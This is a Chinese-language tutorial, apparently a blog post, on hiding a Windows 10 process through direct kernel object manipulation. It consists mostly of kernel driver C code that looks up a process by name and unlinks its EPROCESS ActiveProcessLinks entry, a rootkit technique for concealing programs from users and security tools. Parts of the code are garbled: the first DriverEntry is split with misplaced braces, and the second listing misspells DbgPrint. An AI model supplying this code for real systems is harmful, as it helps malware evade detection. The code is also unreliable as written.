

DKOM 即直接内核对象操作，我们所有的操作都会被系统记录在内存中，而驱动进程隐藏就是操作进程的EPROCESS结构与线程的ETHREAD结构、链表，要实现进程的隐藏我们只需要将某个进程中的信息，在系统EPROCESS链表中摘除即可实现进程隐藏。

结构体中包含了系统中的所有进程相关信息，通过WinDBG在内核调试模式下输入 `dt _EPROCESS` 即可查看到当前的EPROCESS结构体的偏移信息。

```
1: kd> dt _EPROCESS
```

```
ntdll!_EPROCESS
```

```
+0x000 Pcb           : _KPROCESS
+0x02e0 ProcessLock   : _EX_PUSH_LOCK
+0x02e8 UniqueProcessId : Ptr64 Void
+0x02f0 ActiveProcessLinks : _LIST_ENTRY // 活动进程链表
+0x0300 RundownProtect : _EX_RUNDOWN_REF
+0x0308 Flags2        : Uint4B
```

在实现进程隐藏之前，需要通过代码的方式获取到当前系统中所有进程 EPROCESS 信息。

```
#include <ntifs.h>
```

```
NTKERNELAPI NTSTATUS PsLookupProcessByProcessId(HANDLE ProcessId, PEPROCESS *Process);
NTKERNELAPI CHAR* PsGetProcessImageFileName(PEPROCESS Process);
```

```
VOID UnDriver(PDRIVER_OBJECT driver)
```

```
{
    DbgPrint(("驱动程序卸载成功! \n"));
}
```

```
PEPROCESS GetProcessObjectByName(char *name)
```

```
{
    SIZE_T temp;
    for (temp = 100; temp < 10000; temp += 4)
    {
        NTSTATUS status;
        PEPROCESS ep;
        status = PsLookupProcessByProcessId((HANDLE)temp, &ep);
        if (NT_SUCCESS(status))
        {
            char *pn = PsGetProcessImageFileName(ep);
            if (_stricmp(pn, name) == 0)
                return ep;
        }
    }
    return NULL;
}
```

```
NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
```

```
{
    PEPROCESS Proc = NULL;
    Proc = GetProcessObjectByName("C32Asm.exe");
    DriverObject->DriverUnload = UnDriver;
}
```

```
    return STATUS_SUCCESS;
}
```

得到句柄以后直接摘除进程的结构即可实现隐藏，该代码只找了Windows10系统下的偏移地址，故只能在Windows10系统下使用。

```
#include <ntifs.h>

#define PROCESS_ACTIVE_PROCESS_LINKS_OFFSET 0x2f0

NTKERNELAPI NTSTATUS PsLookupProcessByProcessId(HANDLE ProcessId, PEPROCESS *Process);
NTKERNELAPI CHAR* PsGetProcessImageFileName(PEPROCESS Process);

VOID UnDriver(PDRIVER_OBJECT driver)
{
    dbgPrint(("驱动程序卸载成功! \n"));
}

PEPROCESS GetProcessObjectByName(char *name)
{
    SIZE_T temp;
    for (temp = 100; temp < 10000; temp += 4)
    {
        NTSTATUS status;
        PEPROCESS ep;
        status = PsLookupProcessByProcessId((HANDLE)temp, &ep);
        if (NT_SUCCESS(status))
        {
            char *pn = PsGetProcessImageFileName(ep);
            if (_stricmp(pn, name) == 0)
                return ep;
        }
    }
    return NULL;
}

// 隐藏进程
VOID HideProcess(PLIST_ENTRY ListEntry)
{
    KIRQL OldIrql;
    OldIrql = KeRaiseIrqlToDpcLevel();
    if (ListEntry->Flink != ListEntry && ListEntry->Blink != ListEntry && ListEntry->Blink->Flink == ListEntry && ListEntry->Flink->Blink == ListEntry)
    {
        ListEntry->Flink->Blink = ListEntry->Blink;
        ListEntry->Blink->Flink = ListEntry->Flink;
        ListEntry->Flink = ListEntry;
        ListEntry->Blink = ListEntry;
    }
    KeLowerIrql(OldIrql);
}
```

```
NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
    PEPROCESS Proc = NULL;
    Proc = GetProcessObjectByName("C32Asm.exe");

    // 摘除结构中的C32Asm.exe实现驱动隐藏
    HideProcess((PLIST_ENTRY)((ULONG64)Proc + PROCESS_ACTIVE_PROCESS_LINKS_OFFSET));

    DriverObject->DriverUnload = UnDriver;
    return STATUS_SUCCESS;
}
```